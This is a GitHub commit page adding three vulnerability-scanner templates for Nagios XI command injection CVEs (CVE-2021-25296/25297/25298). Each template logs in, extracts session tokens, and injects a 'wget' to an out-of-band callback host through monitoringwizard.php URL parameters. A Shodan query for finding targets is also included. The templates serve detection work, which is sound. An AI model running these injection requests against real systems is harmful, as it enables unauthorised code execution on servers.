Merge pull request #6615 from k0pak4/CVE-2021-25296
Add templates for CVE-2021-25296, CVE-2021-25297, CVE-2021-25298patch-1
pussycat0x
GitHub
commit
644b940699
|
|
@ -0,0 +1,79 @@
|
|||
id: CVE-2021-25296
|
||||
|
||||
info:
|
||||
name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection
|
||||
author: k0pak4
|
||||
severity: high
|
||||
description: |
|
||||
Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
|
||||
reference:
|
||||
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
|
||||
- https://github.com/rapid7/metasploit-framework/pull/17494
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-25296
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.8
|
||||
cve-id: CVE-2021-25296
|
||||
cwe-id: CWE-78
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Nagios XI"
|
||||
tags: cve,cve2021,nagiosxi,rce,oast,authenticated
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
|
||||
|
||||
- |
|
||||
GET /nagiosxi/index.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
@timeout: 20s
|
||||
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: word
|
||||
part: body_4
|
||||
words:
|
||||
- "Event Log"
|
||||
- "Display Name"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: nsp
|
||||
part: body
|
||||
group: 1
|
||||
regex:
|
||||
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
|
||||
internal: true
|
||||
|
||||
- type: regex
|
||||
part: body
|
||||
name: nsp_auth
|
||||
group: 1
|
||||
regex:
|
||||
- "var nsp_str = ['\"](.*)['\"];"
|
||||
internal: true
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
id: CVE-2021-25297
|
||||
|
||||
info:
|
||||
name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection
|
||||
author: k0pak4
|
||||
severity: high
|
||||
description: |
|
||||
Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
|
||||
reference:
|
||||
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
|
||||
- https://github.com/rapid7/metasploit-framework/pull/17494
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-25297
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.8
|
||||
cve-id: CVE-2021-25297
|
||||
cwe-id: CWE-78
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Nagios XI"
|
||||
tags: cve,cve2021,nagiosxi,rce,oast,authenticated
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
|
||||
|
||||
- |
|
||||
GET /nagiosxi/index.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
@timeout: 20s
|
||||
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20{{interactsh-url}}%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: word
|
||||
part: body_4
|
||||
words:
|
||||
- "<b>Ping</b>"
|
||||
- "Switch Details"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: nsp
|
||||
part: body
|
||||
group: 1
|
||||
regex:
|
||||
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
|
||||
internal: true
|
||||
|
||||
- type: regex
|
||||
part: body
|
||||
name: nsp_auth
|
||||
group: 1
|
||||
regex:
|
||||
- "var nsp_str = ['\"](.*)['\"];"
|
||||
internal: true
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
id: CVE-2021-25298
|
||||
|
||||
info:
|
||||
name: Nagios XI 5.5.6 to 5.7.5 - Command Injection
|
||||
author: k0pak4
|
||||
severity: high
|
||||
description: |
|
||||
Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.
|
||||
reference:
|
||||
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
|
||||
- https://github.com/rapid7/metasploit-framework/pull/17494
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-25298
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.8
|
||||
cve-id: CVE-2021-25298
|
||||
cwe-id: CWE-78
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Nagios XI"
|
||||
tags: cve,cve2021,nagiosxi,rce,oast,authenticated
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /nagiosxi/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
|
||||
|
||||
- |
|
||||
GET /nagiosxi/index.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
@timeout: 20s
|
||||
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20{{interactsh-url}}%3b HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
cookie-reuse: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: word
|
||||
part: body_4
|
||||
words:
|
||||
- "Connection Information"
|
||||
- "Host Check"
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: nsp
|
||||
part: body
|
||||
group: 1
|
||||
regex:
|
||||
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
|
||||
internal: true
|
||||
|
||||
- type: regex
|
||||
part: body
|
||||
name: nsp_auth
|
||||
group: 1
|
||||
regex:
|
||||
- "var nsp_str = ['\"](.*)['\"];"
|
||||
internal: true
|
||||
Loading…
Reference in New Issue